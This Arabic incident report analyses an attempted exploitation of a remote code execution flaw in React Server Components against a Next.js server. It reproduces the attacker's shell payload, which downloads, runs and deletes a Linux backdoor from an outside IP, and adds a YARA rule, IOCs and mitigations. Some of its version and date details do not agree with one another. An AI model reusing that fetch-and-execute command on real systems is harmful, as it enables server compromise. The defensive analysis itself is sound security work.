تحليل هجوم CVE-2025-55182: تنفيذ التعليمات البرمجية عن بُعد في مكونات React Server Components
تحليل هجوم واقعي على تطبيق Next.js إنتاجي
📋 جدول المحتويات
الملخص التنفيذي
في 5 ديسمبر 2025، استهدف المهاجمون تطبيق Next.js الإنتاجي الخاص بنا مستغلين CVE-2025-55182 (React2Shell)، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في مكونات React Server Components. حاول الهجوم تنزيل وتنفيذ حصان طروادة (باب خلفي) على خادمنا لنظام Linux.
| السمة | القيمة |
|---|
| معرف CVE | CVE-2025-55182 |
| درجة CVSS | 9.8 (حرجة) |
| تاريخ الهجوم | 5 ديسمبر 2025 |
| نتيجة الهجوم | ✅ تم الحظر (بعد التصحيح) |
| نوع البرمجية الخبيثة | حصان طروادة باب خلفي لأنظمة Linux |
| المكدس المتأثر | Next.js + React Server Components |
نظرة عامة على الثغرة
ما هي CVE-2025-55182؟
CVE-2025-55182، المعروفة أيضًا باسم "React2Shell"، هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) تؤثر على مكونات React Server Components (RSC) في:
- React: الإصدارات 19.0.0 - 19.2.1
- Next.js: الإصدارات 15.x و 16.x (قبل التصحيحات)
السبب الجذري
توجد الثغرة في دالة renderToReadableStream() داخل Flight Server الخاص بـ React. عند معالجة حمولات RSC مصممة خصيصًا، يفشل الخادم في تعقيم بعض المدخلات بشكل صحيح، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية.
ناقل الهجوم
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
يرسل المهاجم طلب POST معدًا مع حمولة متسلسلة ضارة يتم إلغاء تسلسلها وتنفيذها على الخادم.
الجدول الزمني للهجوم
المرحلة 1: محاولات الاستغلال الأولية (قبل التصحيح)
| الطابع الزمني (UTC) | الحدث |
|---|
| 5 ديسمبر، 06:20 | اكتشاف أول هجوم عبر Sentry |
| 5 ديسمبر، 06:20 | محاولة الحمولة تنفيذ أوامر الصدفة |
| 5 ديسمبر، 06:20 | الهجوم ناجح جزئيًا (قبل التصحيح) |
سجل خطأ Sentry (قبل التصحيح):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
المرحلة 2: نشر التصحيح
| الطابع الزمني | الإجراء |
|---|
| 4 ديسمبر، 14:13 | الترقية إلى Next.js 16.0.7 |
| 4 ديسمبر، 14:13 | نشر الإصدار المصحح (v1.0.0-beta-4) |
المرحلة 3: حظر الهجوم بعد التصحيح
| الطابع الزمني (UTC) | الحدث |
|---|
| 5 ديسمبر، 08:48 | اكتشاف محاولة الهجوم |
| 5 ديسمبر، 08:48 | تم حظر تنفيذ الحمولة |
| 5 ديسمبر، 08:48 | خطأ: syntax error: unexpected ";" |
سجل خطأ Sentry (بعد التصحيح):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
نجح التصحيح في منع تنفيذ الأمر الضار.
التحليل الفني
تفاصيل طلب الهجوم
| السمة | القيمة |
|---|
| URL الهدف | https://[REDACTED]/ |
|
تحليل الحمولة
حاول المهاجم تنفيذ سلسلة الأوامر التالية:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
تفصيل:
بيئة الخادم
| المكون | الإصدار |
|---|
| نظام التشغيل | Alpine Linux 3.23.0 |
| بيئة التشغيل | Node.js v20.19.6 |
| الإطار | Next.js 16.0.7 (مصحح) |
تحليل البرمجيات الخبيثة
معلومات الملف
نتائج VirusTotal
معدل الكشف: 13/72 (18%)
رابط VirusTotal: عرض التحليل
تحليل الملف الثنائي
رأس ELF:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
الإمكانيات المحددة:
السلاسل المستخرجة (ذات الصلة):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
قواعد IDS التي تم تفعيلها
| الخطورة | القاعدة | المصدر |
|---|
| منخفضة | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| منخفضة | ET DNS Query for .cc TLD | Proofpoint ET Open |
تصنيف البرمجية الخبيثة
النوع: حصان طروادة باب خلفي لأنظمة Linux
الإمكانيات:
- الوصول إلى الصدفة عن بُعد
- الاتصال بالخادم والتحكم (C2)
- تحميل/تنزيل الملفات
- الاتصالات المشفرة
- تمرير حركة المرور عبر SOCKS5
- آليات الثبات
مؤشرات الاختراق (IOCs)
مؤشرات الشبكة
مؤشرات الملفات
مؤشرات سلوكية
قاعدة YARA
rule CVE_2025_55182_Backdoor {
meta:
description = "يكتشف الباب الخلفي الموزع عبر CVE-2025-55182"
author = "باحث أمني"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
التخفيف والاستجابة
الإجراءات الفورية المتخذة
تقرير الإساءة
تم تقديم تقرير إساءة إلى Vultr (مزود استضافة خادم C2) في 5 ديسمبر 2025 يحتوي على:
- عنوان IP الضار وURL
- تجزئة SHA256 للبرمجية الخبيثة
- رابط تحليل VirusTotal
- وصف ناقل الهجوم (CVE-2025-55182)
الإصدارات المصححة
| الحزمة | الضعيفة | المصححة |
|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (يونيو 2025+) |
التخفيفات الموصى بها
1. الترقية فورًا:
2. حظر IP الضار:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. مراقبة مؤشرات الاختراق:
# التحقق من الملفات المشبوهة
find /tmp -type f -executable 2>/dev/null
# التحقق من العمليات المشبوهة
ps aux | grep -E "(vim|/tmp/)"
# التحقق من اتصالات الشبكة
netstat -an | grep "45.76.155.14"
4. تدوير جميع الأسرار:
- بيانات اعتماد قاعدة البيانات
- أسرار JWT
- مفاتيح API
- أسرار الجلسات
الدروس المستفادة
ما الذي سار بشكل جيد
- مراقبة Sentry التقطت الهجوم فورًا
- نشر التصحيح بسرعة في غضون ساعات من الكشف عن CVE
- الحاويات Docker حدت من نطاق الانفجار
- الحماية بعد التصحيح نجحت في حظر الهجمات اللاحقة
ما يمكن تحسينه
- التصحيح الأسرع - تقليل الوقت بين الكشف عن CVE والتصحيح
- قواعد جدار حماية تطبيقات الويب (WAF) - إضافة قواعد لكشف محاولات استغلال RSC
- تصفية الصادر - حظر الاتصالات الصادرة إلى عناوين IP غير معروفة
- التنبيهات الآلية - إعداد تنبيهات لأوامر الصدفة المشبوهة
التوصيات الأمنية
المراجع
الإعلانات الرسمية
موارد التحليل
الأدوات المستخدمة
إخلاء المسؤولية
هذا التقرير منشور لأغراض تعليمية ودفاعية فقط. لا يتم تضمين الملف الثنائي للبرمجية الخبيثة في هذا المستودع. يمكن للباحثين الأمنيين الحصول على العينة عبر VirusTotal باستخدام تجزئة SHA256 المقدمة.
المؤلف
تاريخ النشر: 5 ديسمبر 2025
جهة الاتصال: [معلومات الاتصال الخاصة بك أو ملف GitHub]
الترخيص
يُتاح هذا التحليل بموجب CC BY 4.0. لك الحرية في مشاركة وتكييف هذه المادة مع الإسناد المناسب.
سجل التغييرات
| التاريخ | الإصدار | التغييرات |
|---|
| 2025-12-05 | 1.0 | النشر الأولي |